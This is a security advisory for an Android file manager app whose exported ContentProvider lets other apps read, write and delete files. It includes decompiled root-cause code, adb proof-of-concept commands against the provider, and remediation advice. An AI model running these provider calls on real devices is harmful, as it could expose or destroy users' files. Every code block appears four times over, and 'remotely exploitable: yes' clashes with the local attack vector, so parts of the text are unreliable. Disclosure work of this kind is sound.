Ekia File Manager 1.2.7 - Exported ContentProvider allows unauthorized file access

8.5

High

Discovered by

Andrés Ramos

Offensive Team, Fluid Attacks

Abstract

Fluid Attacks discovered CVE-2026-81301, a high-severity exported component vulnerability (CWE-926) in File Manager 1.2.7. A local attacker can read, write, or delete files accessible to the app. It has a CVSS v4.0 base score of 8.5. Fluid Attacks assigned this CVE as a CNA, and this advisory includes a proof of concept.

Summary

Full name

Ekia File Manager 1.2.7 - Exported ContentProvider allows unauthorized file access

Code name

State

Public

Release date

Affected product

File Manager

Vendor

Ekia

Affected version(s)

1.2.7

Vulnerability name

Unauthorized access to files - APK Content Provider

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.5

Exploit available

Yes

Description

Ekia File Manager 1.2.7 exposes com.ekia.filecontrolmanager.OpenFileProvider as an exported Android ContentProvider without requiring caller permissions.

The provider maps the caller-controlled URI path directly to a filesystem path and passes it to new File(...). It then supports query(), openFile(), and delete() operations. Because the provider is exported and lacks android:permission, android:readPermission, or android:writePermission, another local application can access the provider authority and cause File Manager's process to read, create, overwrite, or delete files that are accessible to that process.

The issue allows an unprivileged local application to cross an Android app boundary and abuse File Manager's storage access as a confused deputy. Impact depends on Android version, granted storage permissions, and the targeted path, but the validated code path supports unauthorized confidentiality and integrity impact.

Vulnerability

Root cause

  1. The provider is exported without access-control permissions.

<provider
    android:name="com.ekia.filecontrolmanager.OpenFileProvider"
    android:exported="true"
    android:authorities="com.ekia.files.manager.files"
    android:grantUriPermissions="true"/>
<provider
    android:name="com.ekia.filecontrolmanager.OpenFileProvider"
    android:exported="true"
    android:authorities="com.ekia.files.manager.files"
    android:grantUriPermissions="true"/>
<provider
    android:name="com.ekia.filecontrolmanager.OpenFileProvider"
    android:exported="true"
    android:authorities="com.ekia.files.manager.files"
    android:grantUriPermissions="true"/>
<provider
    android:name="com.ekia.filecontrolmanager.OpenFileProvider"
    android:exported="true"
    android:authorities="com.ekia.files.manager.files"
    android:grantUriPermissions="true"/>

No android:permission, android:readPermission, or android:writePermission is present on the provider declaration.

  1. The provider accepts only the authority as an authorization condition. OpenFileProvider.g() returns true solely when the URI authority equals com.ekia.files.manager.files:

public static boolean g(@Nullable Uri uri) {
    if (uri == null) {
        return false;
    }
    return "com.ekia.files.manager.files".equals(uri.getAuthority());
}
public static boolean g(@Nullable Uri uri) {
    if (uri == null) {
        return false;
    }
    return "com.ekia.files.manager.files".equals(uri.getAuthority());
}
public static boolean g(@Nullable Uri uri) {
    if (uri == null) {
        return false;
    }
    return "com.ekia.files.manager.files".equals(uri.getAuthority());
}
public static boolean g(@Nullable Uri uri) {
    if (uri == null) {
        return false;
    }
    return "com.ekia.files.manager.files".equals(uri.getAuthority());
}
  1. The provider converts the caller-controlled URI path directly into a file path. OpenFileProvider.c() returns uri.getPath() without canonicalization, allowlisting, or root-directory restriction:

private static String c(Uri uri) {
    if (!g(uri)) {
        return null;
    }
    return uri.getPath();
}
private static String c(Uri uri) {
    if (!g(uri)) {
        return null;
    }
    return uri.getPath();
}
private static String c(Uri uri) {
    if (!g(uri)) {
        return null;
    }
    return uri.getPath();
}
private static String c(Uri uri) {
    if (!g(uri)) {
        return null;
    }
    return uri.getPath();
}
  1. The provider exposes write-capable file modes. OpenFileProvider.h() maps caller-supplied modes including w, wt, wa, rw, and rwt to ParcelFileDescriptor flags.

  2. The provider opens files using the unrestricted path. openFile() constructs new File(c) from the URI path and returns a ParcelFileDescriptor:

public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String str) {
    String c = c(uri);
    if (c != null) {
        File file = new File(c);
        int h = h(str);
        return ParcelFileDescriptor.open(file, h);
    }
    throw new FileNotFoundException("Failed to find uri: " + uri.toString());
}
public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String str) {
    String c = c(uri);
    if (c != null) {
        File file = new File(c);
        int h = h(str);
        return ParcelFileDescriptor.open(file, h);
    }
    throw new FileNotFoundException("Failed to find uri: " + uri.toString());
}
public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String str) {
    String c = c(uri);
    if (c != null) {
        File file = new File(c);
        int h = h(str);
        return ParcelFileDescriptor.open(file, h);
    }
    throw new FileNotFoundException("Failed to find uri: " + uri.toString());
}
public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String str) {
    String c = c(uri);
    if (c != null) {
        File file = new File(c);
        int h = h(str);
        return ParcelFileDescriptor.open(file, h);
    }
    throw new FileNotFoundException("Failed to find uri: " + uri.toString());
}
  1. The provider exposes deletion using the same unrestricted path.

public int delete(@NonNull Uri uri, String str, String[] strArr) {
    String c = c(uri);
    if (c == null) {
        return 0;
    }
    return new File(c).delete() ? 1 : 0;
}
public int delete(@NonNull Uri uri, String str, String[] strArr) {
    String c = c(uri);
    if (c == null) {
        return 0;
    }
    return new File(c).delete() ? 1 : 0;
}
public int delete(@NonNull Uri uri, String str, String[] strArr) {
    String c = c(uri);
    if (c == null) {
        return 0;
    }
    return new File(c).delete() ? 1 : 0;
}
public int delete(@NonNull Uri uri, String str, String[] strArr) {
    String c = c(uri);
    if (c == null) {
        return 0;
    }
    return new File(c).delete() ? 1 : 0;
}

Source-to-sink path

  1. Source: A local attacker controls the path in a URI addressed to content://com.ekia.files.manager.files/....

  2. Authorization gap: Android dispatches the request to OpenFileProvider because it is exported and declares no provider, read, or write permission.

  3. Path handling: OpenFileProvider.c(uri) accepts the authority and returns uri.getPath() without validating that it remains inside an approved directory.

  4. Read/write sink: openFile() creates new File(c) and calls ParcelFileDescriptor.open(file, h), where h maps caller-supplied modes such as w, wt, wa, rw, and rwt.

  5. Deletion sink: delete() passes the same unrestricted new File(c) target to the file-operation API.

Impact

An unprivileged local application can make File Manager read, create, overwrite, or delete files that are accessible to its process. This is a confused-deputy condition that crosses the Android application boundary without user interaction, root access, or an application-specific permission.

PoC

Preconditions

  • Ekia File Manager 1.2.7 is installed on Android 5.0 or later.

  • The target file is accessible to the File Manager process.

  • For shared external storage paths, impact depends on Android version and the storage permissions/all-files access granted to File Manager.

  • No attacker authentication, app-specific permission, root, or user interaction is required for provider calls.

Reproduction

  1. Create a benign test file in shared storage:

adb shell 'printf "EKIA_PROVIDER_CANARY" > /sdcard/Download/ekia_canary.txt'
adb shell 'printf "EKIA_PROVIDER_CANARY" > /sdcard/Download/ekia_canary.txt'
adb shell 'printf "EKIA_PROVIDER_CANARY" > /sdcard/Download/ekia_canary.txt'
adb shell 'printf "EKIA_PROVIDER_CANARY" > /sdcard/Download/ekia_canary.txt'
  1. Read the file via the exported provider:

adb shell content read \
    --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_canary.txt
adb shell content read \
    --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_canary.txt
adb shell content read \
    --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_canary.txt
adb shell content read \
    --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_canary.txt
  1. Expected result:

EKIA_PROVIDER_CANARY
EKIA_PROVIDER_CANARY
EKIA_PROVIDER_CANARY
EKIA_PROVIDER_CANARY
  1. Create or overwrite a file through the exported provider:

printf "PROVIDER_WRITE_TEST" | adb shell content write \
    --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_created.txt
printf "PROVIDER_WRITE_TEST" | adb shell content write \
    --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_created.txt
printf "PROVIDER_WRITE_TEST" | adb shell content write \
    --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_created.txt
printf "PROVIDER_WRITE_TEST" | adb shell content write \
    --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_created.txt
  1. Verify the result:

adb shell ls -l /sdcard/Download/ekia_created.txt
adb shell ls -l /sdcard/Download/ekia_created.txt
adb shell ls -l /sdcard/Download/ekia_created.txt
adb shell ls -l /sdcard/Download/ekia_created.txt
  1. Invoke the provider's deletion operation only for that second canary:

adb shell content delete \
  --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_created.txt
adb shell content delete \
  --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_created.txt
adb shell content delete \
  --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_created.txt
adb shell content delete \
  --uri content://com.ekia.files.manager.files/sdcard/Download/ekia_created.txt

The provider performs the operation without a File Manager-specific permission or URI grant.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-81301 to refer to this issue from now on.

Disclosure policy

System Information

  • Vendor: Ekia

  • Product: File Manager

  • Affected version: 1.2.7

  • Operating System: Android 5.0 and later.

References

Solution and Workaround

Solution

Set android:exported="false" when the provider does not need cross-application access. If it must be exported, require signature-level caller permissions and enforce distinct read and write permissions in the manifest and provider implementation. Validate the calling UID before each operation.

Confine every URI to a defined application-controlled root after canonicalization, reject paths outside that root, and expose only the operations and file modes required by the feature. Add tests that invoke the provider from a separately signed application and assert that unauthorized read, write, overwrite, and deletion requests fail.

Workaround and temporary mitigation

Disable or uninstall File Manager until a vendor fix is available. Revoke broad storage access where Android permits it, prevent untrusted local applications from being installed, and review files accessible to File Manager for unexpected modifications. These measures reduce the reachable file set and exposure to untrusted callers.

Credits

The vulnerability was discovered by Andrés Ramos from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.